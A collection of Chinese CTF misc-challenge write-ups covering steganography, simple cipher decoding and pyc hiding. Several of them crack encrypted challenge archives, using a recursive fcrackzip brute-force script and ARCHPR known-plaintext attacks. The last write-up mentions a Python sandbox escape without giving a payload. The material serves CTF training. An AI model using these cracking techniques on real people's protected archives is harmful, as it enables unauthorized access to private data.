题目名称:Excaliflag题目描述:只有一个真正的黑客可以从这个地方得到flag题目附件:https://adworld.xctf.org.cn/media/task/attachments/f3f30930116f4b168e132db45907d0ee.png题目wireup:首先下载附件,解压获得一张图片,通过stegsolve图片隐写工具打开,然后切换色块,终获得flag内容:最终得到flag:3DS{Gr4b_Only_th1s_B1ts} 题目名称:Just-No-One题目附件:https://adworld.xctf.org.cn/media/task/attachments/7932f0a447b74cfc8b6820aa706e9446.exe题目writeup:下载附件,获得一个exe可执行程序,点击安装,进入下一步,需要输入密码,猜测可能需要逆向破解密码 尝试通过winhex和IDA分析无果 仔细观察,在安装软件协议的条款里面发现了一些关于和flag有关的信息:YOU MAY SUBMIT THIS TO GET TEN POINTS(你可以提交这段字符串获得标识)。 YOU MAY SUBMIT THIS TO GET TEN POINTS: ILOVEREADINGEULAS. 那么最终flag为:ILOVEREADINGEULAS 题目名称:信号不好先挂了题目附件:https://adworld.xctf.org.cn/media/task/attachments/b90a71f6e04b427dba2f8d307de79145.zip题目writeup:下载附件,对其进行解压,获得一张apple.png图片,通过stegsolev图片隐写工具的analyse---data extract功能对图片的LSB进行查看分析发现图片的LSB隐写中包含了PK,该PK为压缩数据包头。将其保存为flag.zip 对flag.zip进行解压,发现压缩文件已损坏 通过winrar的修复压缩文件功能对已损坏的flag.zip压缩文件进行修复 保存为rebuilt.flag.zip,并对其进行解压,获得一张pen.png图片再次通过stegsolve对pen.png图片进行通道查看,发现好几个通道中都有一些条纹 然后两张图片长得一样,所以很容易想到可能是藏有盲水印,于是用opencv处理盲水印得到flag。 合成盲水印图,盲水印用到的py脚本可以在github上下载,https://github.com/chishaxie/BlindWaterMark,使用时需要安装前置opencv-python库 python bwm.py decode pen.png apple.png flag.png 打开合成的盲水印图片flag.png,可看到flag内容:最终flag为:unctf{9d0649505b702643} 题目名称:黄金六年 题目附件: https://adworld.xctf.org.cn/media/task/attachments/b6c6823cbfc246249941630e647bf7b6.zip 题目writeup: 下载附件,对其解压得到一个mp4视频文件,通过winhex打开,发现在末尾隐藏的base64加密字符串 也可以通过strings命令查看文件中包含的字符串strings hj6.mp4 得到base64加密字符串:UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==通过在线解密工具,解密获得看起来像rar文件https://base64.us这里通过python脚本将base64转换成rar压缩包:import base64 code = "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" r = base64.b64decode(code) file = open("flag.rar", "wb") file.write(r) file.close()打开压缩包,发现需要输入密码,通过爆破也没解密出来,解密密码可能和视频中的图片有关。通过free video to jpg converter,将视频中的图片提取出来下载地址:https://secure-sc-dvdvideosoft.netdna-ssl.com/FreeVideoToJPGConverter_5.0.101.201_o.exe 得到316张图片,通过仔细查看,发现有4张图片里面包含了二维码下面是提取出含有二维码的4张图片,并对4张图片中的二维码单独截图出来,通过QR Rearch进行扫描,并获得4个KEY的密码字符串。 做这种题目着实应该把屏幕调亮一点,最后一张二维码找了好久死活找不到,调亮了屏幕之后就立马找到了。 将二维码扫描获得的4个KEY的字符串按照属性拼接得到解压密码key:iwantplayctf输入iwantplayctf密码对flag.zip进行解压缩,获得flag.txt打开flag.txt获得flag 最终flag为:roarctf{CTF-from-RuMen-to-RuYuan} 题目名称:打开电动车题目描述:截获了一台电动车的钥匙发射出的锁车信号,3分钟之内,我要获得它地址位的全部信息。flag内容二进制表示即可题目附件:https://adworld.xctf.org.cn/media/uploads/task/3d93f0c47ad94e31882e0a670eb6f5cf.zip题目writeup:下载附件,对其解压,得到一个音频文件,通过Audacity打开音频文件,然后通过视图---放大查看波形图。可以看到短波和长波 短波为0,长波为1,转换得到 01 字符串:0 011101001010101001100010根据题目信息说需要地址位的全部信息 查资料得到:信号是由同步引导码,地址位和数据位构成 固定码遥控信号的构成: 一个是PT226x的,前面4bit表示同步码,中间的8bit表示地址码,后面的4bit表示功能码,后面最后一个是停止码一个是PT224x的,前面8bit表示同步码,中间的20bit表示地址码,后面的4bit表示功能码,后面最后一个是停止码PT226X和PT224X不同之处,PT226X 中不可能出现10这种情况,这道题就是PT224X.钥匙信号(PT224X) = 同步引导码(8bit) + 地址位(20bit) + 数据位(4bit) + 停止码(1bit)仔细查看波形图得到如下: 所以去掉前面的同步码0和后面的数据位0010得到全部20bit地址位如下: 01110100101010100110最终flag:flag{01110100101010100110} 题目名称:hong题目附件:https://adworld.xctf.org.cn/media/task/attachments/3fce1ffa2af0438f82c38e321d3d3032.rar题目writeup:下载附件,对其解压,得到一个hong.mp3的音频文件,通过binwalk分析音频文件包含的文件,可以看到包含有jpeg图片文件binwalk hong.mp3通过foremost命令对hong.mp3文件进行分离,得到2个图片文件foremost hong.mp3首先查看0000161.jpg文件,发现是一张二维码图片通过QR Rearch二维码识别工具对0000161.jpg文件进行扫描识别,得到一串十六进制字符串通过在线网站https://ab126.com,对十六进制字符串进行转换为ascii,解密出来是乱码,无用。03f30d0ad41db4576300000000000000000100000040000000730d0000006400008400005a00006401005328020000006300000000030000000700000043000000734b0000006401006402006403006404006405006406006407006707007d00006408007d0100781e007c0000445d16007d02007c01007400007c0200830100377d0100712800577c010047486400005328090000004e694d0000006972000000692e0000006948000000696f000000696e0000006967000000740000000028010000007403000000636872280300000074030000007374727404000000666c6167740100000069280000000028000000007304000000612e7079520300000001000000730a00000000011b0106010d0114024e280100000052030000002800000000280000000028000000007304000000612e707974080000003c6d6f64756c653e010000007300000000最后查看另一张00000269.jpg图片,发现图片中包含有flag内容最终flag为:BCTF{cute&fat_cats_does_not_like_drinking} 题目名称:3-1 题目附件: https://adworld.xctf.org.cn/media/task/attachments/e395d6e5b79b4cc49ee4e5c704f872ae 题目writeup: 下载附件,对其进行解压,得到一个二进制文件flag,通过file命令查看二进制文件flag,发现文件格式为rar压缩包 file flag 将其二进制文件flag 重命名为flag.rar,并对压缩文件进行解压,得到一个文件flag1再次通过file命令查看falg1的文件格式为pcapngfile flag1将flag1重命名为flag1.pcapng,并通过wireshark打开。搜索关键字falg,发现在http协议中有flag.zip和flag.txt进行get 请求。猜测flag和这2个文件有关。通过wireshark的导出对象---http功能可导出http请求所有的文件内容。这里导出http请求的所有对象保存到flag文件夹下 导出来2个文件分别为receiver和flag.zip,并对flag.zip进行解压缩,发现需要密码,解压密码需要在流量包中分析获得。接下继续分析流量包,对flag.rar http get 请求处进行追踪流--tcp流分析追踪 TCP 流 6 时,发现一些linux操作命令和一段 python 代码。Linux 系统账户为 root,密码为 jfm,尝试用 jfm 解压失败,接下来执行 ls,cd tf/ cd wireshark/,ls 命令。 执行 cat 1 时得到 rar 文件内容, 执行 cat 2,得到 base64 编码,解码发现乱码,尝试直接用于解压,失败 执行 cat 3,得到 一段 python 代码,代码中有 AES,猜测是需要解密 其中,那个base64应该就是密文base64加密之后的字符串。该python是一个通过AES的CBC模式将字符串进行加密或解密的脚本,其中IV是密钥也是偏移量# coding:utf-8 from Crypto import Random from Crypto.Cipher import AES import sys import base64 IV = 'QWERTYUIOPASDFGH' def decrypt(encrypted): aes = AES.new(IV, AES.MODE_CBC, IV) return aes.decrypt(encrypted) def encrypt(message): length = 16 count = len(message) padding = length - (count % length) message = message + '\0' * padding aes = AES.new(IV, AES.MODE_CBC, IV) return aes.encrypt(message) str = 'this is a test' example = encrypt(str) print(decrypt(example))对上面python 代码进行修改 ,并对其编 码 用 base64 解 码 后 解 密 ((注意要先用base64解码才能进行AES-CBC解密):# coding:utf-8 __author__ = 'YFP' from Crypto import Random from Crypto.Cipher import AES import sys import base64 IV = 'QWERTYUIOPASDFGH' def decrypt(encrypted): aes = AES.new(IV, AES.MODE_CBC, IV) return aes.decrypt(encrypted) def encrypt(message): length = 16 count = len(message) padding = length - (count % length) message = message + '\0' * padding aes = AES.new(IV, AES.MODE_CBC, IV) return aes.encrypt(message) str = 'this is a test' example = encrypt(str) print(decrypt(example)) #增加如下两行 a='19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo=' print(decrypt(base64.b64decode(a)))执行修改后的python 脚本,得到base64的AES解密字符串为:No_One_Can_Decrypt_Me,并将该字符串作为密码对flag.zip进行解压缩成功解压出flag.txt,打开flag.txt,获得flag 最终flag为:WDCTF{Seclab_CTF_2017} wdflag{My_c4t_Ho} 题目名称:4-2题目描述:格式为flag{xxxxxxxx}题目附件:https://adworld.xctf.org.cn/media/task/attachments/1ddbc89c20c845928498c22cd3faf1c4.txt题目writeup:下载附件 ,得到一个.txt文件,打开文件发现下面几个标红的字母具有一定频率数通过词频分析得到flag,附在线分析网站:https://quipqiup.com得到flag:classical-cipher_is_not_security_hs根据题目描述,提交的flag格式,最终flag为:flag{classical-cipher_is_not_security_hs} 题目名称:5-1题目附件:https://adworld.xctf.org.cn/media/task/attachments/badd3e0621ff43de8cf802545bbd3ed0题目writeup:下载附件,对其进行解压,得到一个二进制文件flag,通过命令file查看文件类型,并没有发现文件类型file flag通过winhex打开flag文件,发现字符是加了密,猜测可能xor加密这里通过xortool(https://github.com/hellman/xortool)对flag文件进行分析.xortool.py是基于python的脚本,用于完成一些xor分析,包括:1.猜想key的长度;2.猜想key的值;3.解密一些经过xoe加密的文件.下面查看flag的xor加密的密钥长度,可以看到占比最大的百分百就是密钥长度为13 xortool flag xortool flag -l 13 -c 20参数解释:其中-l就是指定密钥长度,-c表示出现频率最高的字符。字符出现的最高频率一般为20尝试出了key:GoodLuckToYou(根据经验将试出来的),通过以下python脚本对原文件进行异或解密:import os c = open("flag",'rb').read() key = "GoodLuckToYou" def xor(c,k): keylen = len(k) res = "" for pos,c in enumerate(c): res +=chr(ord(c) ^ ord(k[pos % keylen])) return res print xor(c,key)运行python脚本得到一串字符串,其中字符串中就包含有flag内容最终 flag为:wdflag{You Are Very Smart} 连环套娃压缩包破解之音频隐写题目名称:Miscellaneous-300题目附件:https://adworld.xctf.org.cn/media/task/attachments/f932f55b83fa493ab024390071020088.zip题目writeup:下载附件对其解压,得到一个压缩文件flag.zip,对其进行解压,提示需要输入密码,猜测需要对其压缩包进行密码爆破通过ziperello对压缩包进行爆破发现爆破出来的密码是46783,密码正好是里面压缩包名称。 通过该密码对压缩包进行解压,可成功解密解压完了,又出现了一个新的压缩包,解压压缩包,又提示需要输入密码 接着,按照上面的爆破压缩包密码的方法进行爆破结果发现密码就是压缩包内文件名。发现的规律是:解压里面又是个压缩包,解压一波,发现又是一个压缩包,后一个文件名的名字是前一个压缩包的解压密码。 让我们编写一个sh 脚本,并调用fcrackzip命令递归地破解和提取zip文件: crack_zip.sh: #!/usr/bin/env bash while [ -e *.zip ]; do files=*.zip; for file in $files; do echo -n "Cracking ${file}… "; output="$(fcrackzip -u -l 1-6 -c '1' *.zip | tr -d '\n')"; password="${output/PASSWORD FOUND\!\!\!\!: pw == /}"; if [ -z "${password}" ]; then echo "Failed to find password"; break 2; fi; echo "Found password: \`${password}\`"; unzip -q -P "${password}" "$file"; rm "${file}"; done; done; 执行sh脚本: bash crack_zip.sh 让它执行一段时间后,最后会得到一个12475.zip,发现纯数字密码爆破失败,这个一个复杂的密码加密的压缩包通过fackzip的复杂密码对其进行爆破,发现爆破出来的密码为:boyzz ./fcrackzip -u -c a1 -l 1-6 12475.zip 通过unzip对12475.zip进行解压,得到一个音频文件mess.wavunzip -q -P b0yzz 12475.zip 通过音频隐写工具Audacity打开音频文件mess.wav,并选择频谱图,就可以查看到flag的内容。 最终 falg为: BallsRealBolls 题目名称:双色块 题目附件: https://adworld.xctf.org.cn/media/task/attachments/45663022307c456897d30639f56da759.zip 题目writeup: 方法一: 下载附件,对其解压,得到一个out.gif的动态图片,且只存在绿色和紫色两个颜色,分布不均匀 通过binwalk命令查看图片隐藏的文件,可以看到隐藏了png图片binwalk out.gif通过foremost命令对out.gif进行分离,可到一个00001436.png图片foremost out.gif查看分离的图片,发现图片的内容为key:ctfer2333,猜测和flag有关,且分析这张图片无异常。通过GifSplitter将out.gif文件进行分帧处理 得到576张图片,所有图片中只有紫色和绿色两种颜色,应该对应的是1和0或者0和1,可转换成01二进制数据按照紫色1,绿色0的规则按照先后顺序排列出了以下数据: 011011110011100001000100011011000111100001001011001010110100100000111000011101110111001101101001010110000110010100101111010001010101001001000110011100000100000101001101011000010100001001010000011010010100100101100011011010100011000101110011010010000111100101000111010011110100110101101101010100010100010001101011010010110010101101110101010110000111001101010110010110100110011101110010011001010011010101000100010100110101100001110111001111010011110101101000011010000110100001101000011010000110100001101000011010000110100001101000011010000110100001101000011010000110100001101000 每八个一组转换成ascii字符。那么通过在线工具二进制转asciii,http://www.txttool.com/wenben_binarystr.asp,可得到ascii为:o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh 按照紫色0,绿色1的规则排列出以下数据: 100100001100011110111011100100111000011110110100110101001011011111000111100010001000110010010110101001111001101011010000101110101010110110111001100011111011111010110010100111101011110110101111100101101011011010011100100101011100111010001100101101111000011010111000101100001011001010010010101011101011101110010100101101001101010010001010101001111000110010101001101001011001100010001101100110101100101010111011101011001010011110001000110000101100001010010111100101111001011110010111100101111001011110010111100101111001011110010111100101111001011110010111100101111001011110010111 同理,按照上面方面,得到一些乱码字符,显然不是我们想要的加密字符串。得到的加密字符串: o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh 这应该是des加密或者base64,但是有提示key,所以应该是des加密,key是上面的图片内容ctfer2333,正常来说des结尾是=,最后一串h去掉就好了。 然后到http://tool.chacuo.net/cryptdes解密 方法二:gif轮播之后发现是⼀个24*24的像素点,每个像素为1010,每个点颜⾊为00ff00或是ff00ff 先把gif分离成单帧,那么可以通过 python脚本对其进行分割成不同的单帧图像。# ! /usr/bin/env python2 # -*- coding: utf-8 -*- import os from PIL import Image def main(gif_file): png_dir = 'C:\\Users\\backlion\\Desktop\\flag\\' img = Image.open(gif_file) while True: current = img.tell() img.save(png_dir + str(current + 1) + '.png') img.seek(current + 1) if __name__ == '__main__': gif_file = 'out.gif' main(gif_file)然后读取每个png中的对应点的信息,并按照8bit转换为ascii#! /usr/bin/env python2 # -*- coding: utf-8 -*- import os from PIL import Image def main(): png_dir = 'C:\\Users\\backlion\\Desktop\\flag\\' ret = "" for i in range(0, 24): line = "" for j in range(0, 24): file_name = "C:\\Users\\backlion\\Desktop\\flag\\" + str(i * 24 + j + 1) + ".png" x = j * 10 + 5 y = i * 10 + 5 img = Image.open(file_name) img = img.convert("RGB") img_array = img.load() r, g, b = p = img_array[x, y] if g == 255: line += "0" if r == 255 and b == 255: line += "1" if len(line) == 8: ret += chr(int(line, 2)) line = "" print ret if __name__ == '__main__': main() 最终flag为:flag{2ce3b416457d4380dc9a6149858f71db} 题目名称:Py-Py-Py题目附件:https://adworld.xctf.org.cn/media/task/attachments/58cadd8d8269455ebc94690fd777c34a.pyc题目writeup:下载附件,得到一个pyc文件,通过uncompyle6命令将其反编译成python脚本uncompyle6 flag.pyc>flag.py其中flag.py是一个rc4的加密解密python脚本:# uncompyle6 version 3.7.4 # Python bytecode 3.6 (3379) # Decompiled from: Python 2.7.18 (default, Feb 27 2021, 08:40:44) # [GCC 10.2.1 20210110] # Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly. # Embedded file name: pystego.py # Compiled at: 2017-08-01 00:44:47 # Size of source mod 2**32: 1961 bytes import sys, os, hashlib, time, base64 fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU=' def crypto(string, op='encode', public_key='ddd', expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() ##将public_key以MD5方式加密,再转化成十六进制 keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya + hashlib.md5(keya + keyc).hexdigest() key_lenth = len(cryptkey) string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string string_lenth = len(string) result = '' box = list(range(256)) randkey = [] for i in xrange(255): randkey.append(ord(cryptkey[(i % key_lenth)])) for i in xrange(255): j = 0 j = (j + box[i] + randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in xrange(string_lenth): a = j = 0 a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ box[((box[a] + box[j]) % 256)]) if op == 'decode': if result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0: if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]: return result[26:] return else: return keyc + base64.b64encode(result) if __name__ == '__main__': while True: flag = raw_input('Please input your flag:') if fllag == crypto(fllag, 'decode'): print('Success') print crypto(fllag, 'decode') break else: continue # okay decompiling flag.pyc 根据脚本分析,在原flag.py脚本基础上,直接把下面这段代码删除了,再添加一句 print crypto(fllag,'decode')就可以修改成解密脚本。if __name__ == '__main__': while True: flag = raw_input('Please input your flag:') if flag == crypto(fllag, 'decode'): print('Success') break else: continue最终修改后的解密脚本为:# uncompyle6 version 3.7.4 # Python bytecode 3.6 (3379) # Decompiled from: Python 2.7.18 (default, Feb 27 2021, 08:40:44) # [GCC 10.2.1 20210110] # Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly. # Embedded file name: pystego.py # Compiled at: 2017-08-01 00:44:47 # Size of source mod 2**32: 1961 bytes import sys, os, hashlib, time, base64 fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU=' def crypto(string, op='encode', public_key='ddd', expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya + hashlib.md5(keya + keyc).hexdigest() key_lenth = len(cryptkey) string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string string_lenth = len(string) result = '' box = list(range(256)) randkey = [] for i in xrange(255): randkey.append(ord(cryptkey[(i % key_lenth)])) for i in xrange(255): j = 0 j = (j + box[i] + randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in xrange(string_lenth): a = j = 0 a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ box[((box[a] + box[j]) % 256)]) if op == 'decode': if result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0: if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]: return result[26:] return else: return keyc + base64.b64encode(result) print crypto(fllag,'decode') 执行脚本,得到 flag 的值:The challenge is Steganography, 直接提交不对,加flag{}提交仍然也不对。根据脚本解密得到The challenge is Steganography,是pyc的隐写,百度到在pyc中隐藏payload的工具为stegosaurus。 https://github.com/AngelKitty/stegosaurus/releases/tag/1.0通过 stegosaurus脚本查看隐藏在flag.pyc中的字符串./stegosaurus -x flag.pyc 最终 flag:Flag{HiD3_Pal0ad_1n_Python} 题目名称:warmup题目附件:https://adworld.xctf.org.cn/media/task/attachments/b7b7e994d7fb4316b03f446295cfd03b.zip题目writeup:下载附件,对其进行解压,得到一个png图片以及一个压缩包文件对压缩包进行解压提示需要输入密码,这里猜测可能需要爆破压缩包密码或者明文攻击、打开压缩包预览,发现其中包含的图片文件和附件解压得到的图片文件名称是一致的。猜测需要用到明文攻击。这里首先对open_forum.png图片通过winrar对其压缩成文件open_forum.zip同时查看到open_forum.zip文件的CRC232值和需要密码解密的压缩包文件warmup.zip的CRC232的值一样。那么warmup.zip压缩包解压存在明文攻击。通过ARCHRP攻击对warmup.zip进行明文攻击 这里可能完全解密成功需要一晚上,实际需要不了那么多少,在10分钟左右就可以终止。终止压缩包爆破后,可确定直接保存为warmup_decrypted.zip文件。对warmup_decrypted.zip文件进行解压缩,成功解压出三张图片,其中fuli.png和fuli2.png图片显示是一样的。通过stegsolve对其fuli.png图片进行通道查看,并没有发现啥。再次通过stegsolve对其fuli2.png进行通道查看,发现出现一些根据以上判断,2张图片存在盲水印。合成盲水印图,盲水印用到的py脚本可以在github上下载,https://github.com/chishaxie/BlindWaterMark,使用时需要安装前置opencv-python库 通过bwm.py脚本可以将2张图片合成一张图片flag.png python bwm.py decode pen.png apple.png flag.png 打卡flag.png图片,可以看到flag内容最终flag为:flag{bWm_Are_W0nderfu1} 题目名称:传感器1题目描述:已知ID为0x8893CA58的温度传感器的未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 此时有另一个相同型号的传感器,其未解码报文为:3EAAAAA56A69AA556A965A5999596AA95656 请解出其ID,提交格式为flag{xxx}题目writeup:基础知识:曼彻斯特编码(Manchester Encoding),也叫做相位编码( Phase Encode,简写PE),是一个同步时钟编码技术,被物理层使用来编码一个同步位流的时钟和数据。它在以太网媒介系统中的应用属于数据通信中的两种位同步方法里的自同步法(另一种是外同步法),即接收方利用包含有同步信号的特殊编码从信号自身提取同步信号来锁定自己的时钟脉冲频率,达到同步目的。IEEE 802.4(令牌总线)和低速版的IEEE 802.3(以太网)中规定, 按照这样的说法, 01电平跳变表示1, 10的电平跳变表示0。 方法一:先把16进制3EAAAAA56A69AA55A95995A569AA95565556都转成2进制,得到: 1111101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110 又得知曼切斯特是从低到高跳变表示“1”,从高到低跳变表示“0”,即01->1,10->0。可以看到二进制除了前4位,后面都是10,01,差分曼切斯特有跳变为"0",无跳变为"1 那么实际上转换成的二进制为(去掉前面最前面1111):101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110 因此将编码进行曼切斯特解码: 00000000001001001101100010001001001111001010010110000100000110000001 转成16进制得到: 24d8893ca584181 又得知第一个ID为0x8893CA58的温度传感器就在第一个曼切斯特解码24d8893ca584181中,是第4位到11位为:8893ca58,转换成大写为8893CA58 根据上面原理,可将3EAAAAA56A69AA556A965A5999596AA95656,转换成曼切斯特解码为24d8845abf34119,取第4位到11位,最终为:8845ABF3 那么flag为: flag{8845ABF3} 方法二: python脚本(这里需要将3E前缀去掉,因为转换成二进制为1111,不存在曼切斯特解码特性) char = "AAAAA56A69AA556A965A5999596AA95656" result = char.replace("5","0101").replace("6","0110").replace("9","1001").replace("A","1010") num = len(result) flag = "" flag_final = "" result = "0"+result for i in range(1,num,2): if result[i:i+2][0] !=result[i-1]: flag += "0" if result[i:i+2][0] ==result[i-1]: flag += "1" print hex(int(flag,2)).upper()[2:] 或者: id1 = 0x8893CA58 msg1 = 0x3EAAAAA56A69AA55A95995A569AA95565556 msg2 = 0x3EAAAAA56A69AA556A965A5999596AA95656 def calc(msg): id='' s = bin(msg)[6:] for i in range(2, len(s), 2): if s[i-2:i] == s[i:i+2]: id += '0' else: id += '1' return hex(int(id, 2)).upper() print(calc(msg1)) print(calc(msg2)) 可以看到id是取结果的4到11位,ID为:8845ABF3最终flag为:flag{8845ABF3} 题目名称:halo题目描述:答案的格式为flag{XXXX}题目附件:https://adworld.xctf.org.cn/media/task/attachments/56afc3a6c8d04cde8b1354b77fe91731.zip题目writeup:下载附件,对其进行解压得到一个txt文件,文件内容看来像base64加密通过在线base64解密网站对其进行base64解密,得到特殊的字符串:igq4;441R;1ikR51ibOOp,提交flag显示不对 尝试多种后情况后,该加密字符串为base64和异或的加密,通过以下脚本对其进行解密:import string from base64 import * b=b64decode("aWdxNDs1NDFSOzFpa1I1MWliT08w") data=list(b) for k in range(0,200): key="" for i in range(len(data)): key+=chr(ord(data[i])^k) print (key)得到的结果,发现唯一一个没有特殊字符为:jdr78672Q82jhQ62jaLL3最终flag为:flag{jdr78672Q82jhQ62jaLL3} 题目名称:picture3题目描述:flag提交形式为flag{XXXX}题目附件:https://adworld.xctf.org.cn/media/task/attachments/7128eb78f49242d39b71e0496c3b52ab.jpg题目writeup:下载附件,得到一张图片,通过binwalk对其进行解压。得到149EC.zip 和stego.txt文件binwalk -e flag.jpg 查看压缩包149EC. zip文件里面包含一个stego.txt文件且CRC32值为0CF2D018,同时对其解压,提示需要输入密码,该文件名和图片解压出来的stego.txt是相同的。需要解压该压缩包文件,猜测是需要用到明文攻击、、通过winrar对stego.txt文件进行压缩成stego.txt,查看CRC32值和149EC. zip压缩包中值相同这里通过ARCHPR对压缩包149EC. zip进行明文攻击,但是明文攻击并不能恢复 通过winrar的自带修复功能对149EC. zip进行修复修复后的文件保存为rebuilt.149EC.zip,对其进行解压,发现不需要输入密码,直接解压得到一个stego.txt文件打开文件发现是很多行base64加密字符串b2Q5dU==aDk5Ni==ZG8wOW==ZzYxYh==ZjU4NT==aXBjNF==Q3dTM2==d1Y5c1==dFA3WV==ZDNQUP==ejhBMT==dUowaW==OVQ2ZD==aUM5ZU==NnFFek==ZGc0T/==NGpWNE==NVZpUW==ejZDTm==a1VEN5==azNMUX==TXlhNW==bjZwWm==Q2Q0b1==猜测可能是base64隐写:依次读取每行,从中提取出隐写位。如果最后没有‘=’,说明没有隐写位,跳过。如果最后是一个‘=’,说明有两位隐写位,将倒数第二个字符转化为对应的二进制索引,然后取后两位。如果最后是两个‘=’,说明有四位隐写位,将倒数第三个字符转化为对应的二进制索引,然后取后四位。将每行提取出的隐写位依次连接起来,每8位为一组转换为ASCII字符,最后不足8位的丢弃。通过脚本跑出隐写,获得flag:def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('stego.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) print res_str solve_stego()根据falg提交格式,最终flag为:flag{Ba5e_64OFive} 题目名称:7-2题目描述:提交格式为wdflag{......}题目附件:https://adworld.xctf.org.cn/media/task/attachments/118956c97c7c4a3e9b1508c1f5ea44be.zip题目writeup:下载附件,对其进行解压,得到很多文件,文件的名称都是base64加密字符串同时,打开其中任意文件,发现都是一串十进制加密字符串通过脚本对解压的所有文件夹的文件名进行将base64解密# coding=utf-8 import os import base64 for name in os.listdir("C:\\Users\\backlion\\Desktop\\flag\\problem\\"): print name # 由于文件名不是4的倍数,需要在后面补‘=’ missing_padding = 4 - len(name) % 4 if missing_padding: name += '=' * missing_padding print str(base64.b64decode(name.encode()))执行脚本得到只有文件名YWluaWRleGluZ3podWFuZw base64解密出来的字符串ainidexingzhuang是正常显示无乱码。 打开YWluaWRleGluZ3podWFuZw文件,发现一串数字,其中包括了{和}中的数字。那么很有可能这些数字解码后就是flag得到{和}中的数字为:82 42 82 52 63 21 42 22 73 21该数字使用的是手机9键加密,第一个数字代表9键键盘下的数字,第二个数字代表该数字下的第几个字母。得到9键盘加密的字符为:uhukoahbra通过凯撒解密得到一个有意义的字符ylyoselfve就是ctf的内容。根据flag提交格式,最终flag为:wdflag{ylyoselfve} 题目名称:4433题目附件:https://adworld.xctf.org.cn/media/task/attachments/3f8b0f935fa74f3c9cea382bf3687569.rar题目writeup:下载附件,对其解压得到一张图片,通过stegsolve图片隐写工具打开,查看通道,在橙色通道中出现了一张二维码图片。通过QR Reach二维码图片扫描工具识别出内容是一串摩尔斯字符。得到内容:...--.----...--..想要解码但是不知道怎么分割,于是想到题目名称 4433,表示 4 个 4 个 3 个 3 个分隔开。那么摩尔斯密码加密密文为:...-/-.--/--./..-/-..通过在线工具工具对其解密得到:VYGUDhttps://www.bejson.com/enc/morse/将VYGUD进行flag提交,发现不对由搜索引擎搜索摩斯密码可知摩斯密码常用的缩写中:VY代表VERY,GUD代表GOOD,那么flag为内容为:VERYGOOD可参考:https://zh.wikipedia.org/wiki/%E6%91%A9%E5%B0%94%E6%96%AF%E7%94%B5%E7%A0%81#%E5%B8%B8%E7%94%A8%E7%BC%A9%E5%86%99最终flag为:flag{VERYGOOD} 题目名称:Run题目描述:Run away! nc **.**.**.** XXXX题目场景:111.200.241.244:64579题目writeup:nc连上发现是一个python沙盒逃逸,一些能引发命令执行的python库全部被禁用了。最后在网上发现这么一个文章 https://blog.csdn.net/qq_35078631/article/details/78504415 